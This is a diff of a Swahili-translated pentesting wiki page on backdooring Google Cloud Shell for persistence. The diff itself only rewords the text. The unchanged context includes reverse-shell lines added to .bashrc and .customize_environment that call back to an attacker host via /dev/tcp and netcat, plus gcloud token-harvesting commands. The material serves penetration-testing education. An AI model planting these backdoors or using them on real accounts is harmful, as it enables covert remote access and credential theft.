Translated ['.github/pull_request_template.md', 'src/README.md', 'src/pe

src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md

@@ -19,27 +19,27 @@ Unaweza kufikia Cloud Shell ya Google kutoka **web console** au kwa kukimbia **`
 Konsoli hii ina uwezo wa kuvutia kwa washambuliaji:
 
 1. **Mtumiaji yeyote wa Google mwenye ufikiaji wa Google Cloud** ana ufikiaji wa mfano wa Cloud Shell ulio na uthibitisho kamili (Akaunti za Huduma zinaweza, hata ikiwa ni Wamiliki wa shirika).
-2. Mfano huo uta **hifadhi saraka yake ya nyumbani kwa angalau siku 120** ikiwa hakuna shughuli inayoendelea.
+2. Mfano huo uta **hifadhi saraka yake ya nyumbani kwa angalau siku 120** ikiwa hakuna shughuli inayotokea.
 3. Hakuna **uwezo wa shirika kufuatilia** shughuli za mfano huo.
 
 Hii kwa msingi inamaanisha kwamba mshambuliaji anaweza kuweka backdoor katika saraka ya nyumbani ya mtumiaji na kadri mtumiaji anavyounganisha na GC Shell kila siku 120 angalau, backdoor itadumu na mshambuliaji atapata shell kila wakati inapoendeshwa kwa kufanya:
 ```bash
 echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
 ```
-Kuna faili nyingine katika folda ya nyumbani inayoitwa **`.customize_environment`** ambayo, ikiwa ipo, itakuwa **inasanidi kila wakati** mtumiaji anapofikia **cloud shell** (kama katika mbinu ya awali). Ingiza backdoor ya awali au moja kama ifuatayo ili kudumisha uvumilivu kadri mtumiaji anavyotumia "mara kwa mara" cloud shell:
+Kuna faili nyingine katika folda ya nyumbani inayoitwa **`.customize_environment`** ambayo, ikiwa ipo, itakuwa **inasanidi kila wakati** mtumiaji anapofikia **cloud shell** (kama katika mbinu ya awali). Ingiza tu backdoor ya awali au moja kama ifuatayo ili kudumisha uvumilivu kadri mtumiaji anavyotumia "mara kwa mara" cloud shell:
 ```bash
 #!/bin/sh
 apt-get install netcat -y
 nc <LISTENER-ADDR> 443 -e /bin/bash
 ```
 > [!WARNING]
-> Ni muhimu kutambua kwamba **wakati wa kwanza kitendo kinachohitaji uthibitisho kinapofanywa**, dirisha la ruhusa linaonekana kwenye kivinjari cha mtumiaji. Dirisha hili lazima likubaliwe kabla ya amri kuweza kutekelezwa. Ikiwa dirisha lisilotarajiwa linaonekana, linaweza kuleta wasiwasi na huenda likaharibu njia ya kudumu inayotumika.
+> Ni muhimu kutambua kwamba **wakati wa kwanza kitendo kinachohitaji uthibitisho kinapofanywa**, dirisha la idhini linaonekana kwenye kivinjari cha mtumiaji. Dirisha hili lazima likubaliwe kabla ya amri kutekelezwa. Ikiwa dirisha lisilotarajiwa linaonekana, linaweza kuleta wasiwasi na huenda likaharibu njia ya kudumu inayotumika.
 
-Hii ni dirisha la pop-up kutoka kwa kutekeleza `gcloud projects list` kutoka kwa cloud shell (kama mshambuliaji) lililotazamwa katika kikao cha kivinjari cha mtumiaji:
+Hii ni pop-up kutoka kwa kutekeleza `gcloud projects list` kutoka kwa cloud shell (kama mshambuliaji) iliyoangaliwa katika kikao cha kivinjari cha mtumiaji:
 
 <figure><img src="../../../images/image (10).png" alt=""><figcaption></figcaption></figure>
 
-Hata hivyo, ikiwa mtumiaji amekuwa akitumia cloudshell kwa shughuli, dirisha la pop-up halitaonekana na unaweza **kusanya tokens za mtumiaji kwa**:
+Hata hivyo, ikiwa mtumiaji amekuwa akitumia cloudshell kwa shughuli, pop-up haitatokea na unaweza **kusanya tokens za mtumiaji kwa**:
 ```bash
 gcloud auth print-access-token
 gcloud auth application-default print-access-token
@@ -49,7 +49,7 @@ gcloud auth application-default print-access-token
 Kimsingi, hizi API calls 3 zinatumika:
 
 - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey) \[POST] (itakufanya uongeze funguo yako ya umma uliyounda kwa ndani)
-- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (itakufanya uanzishe mfano)
+- [https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start](https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start) \[POST] (itakufanya uanze mfano)
 - [https://content-cloudshell.googleapis.com/v1/users/me/environments/default](https://content-cloudshell.googleapis.com/v1/users/me/environments/default) \[GET] (itakueleza ip ya google cloud shell)
 
 Lakini unaweza kupata taarifa zaidi katika [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key)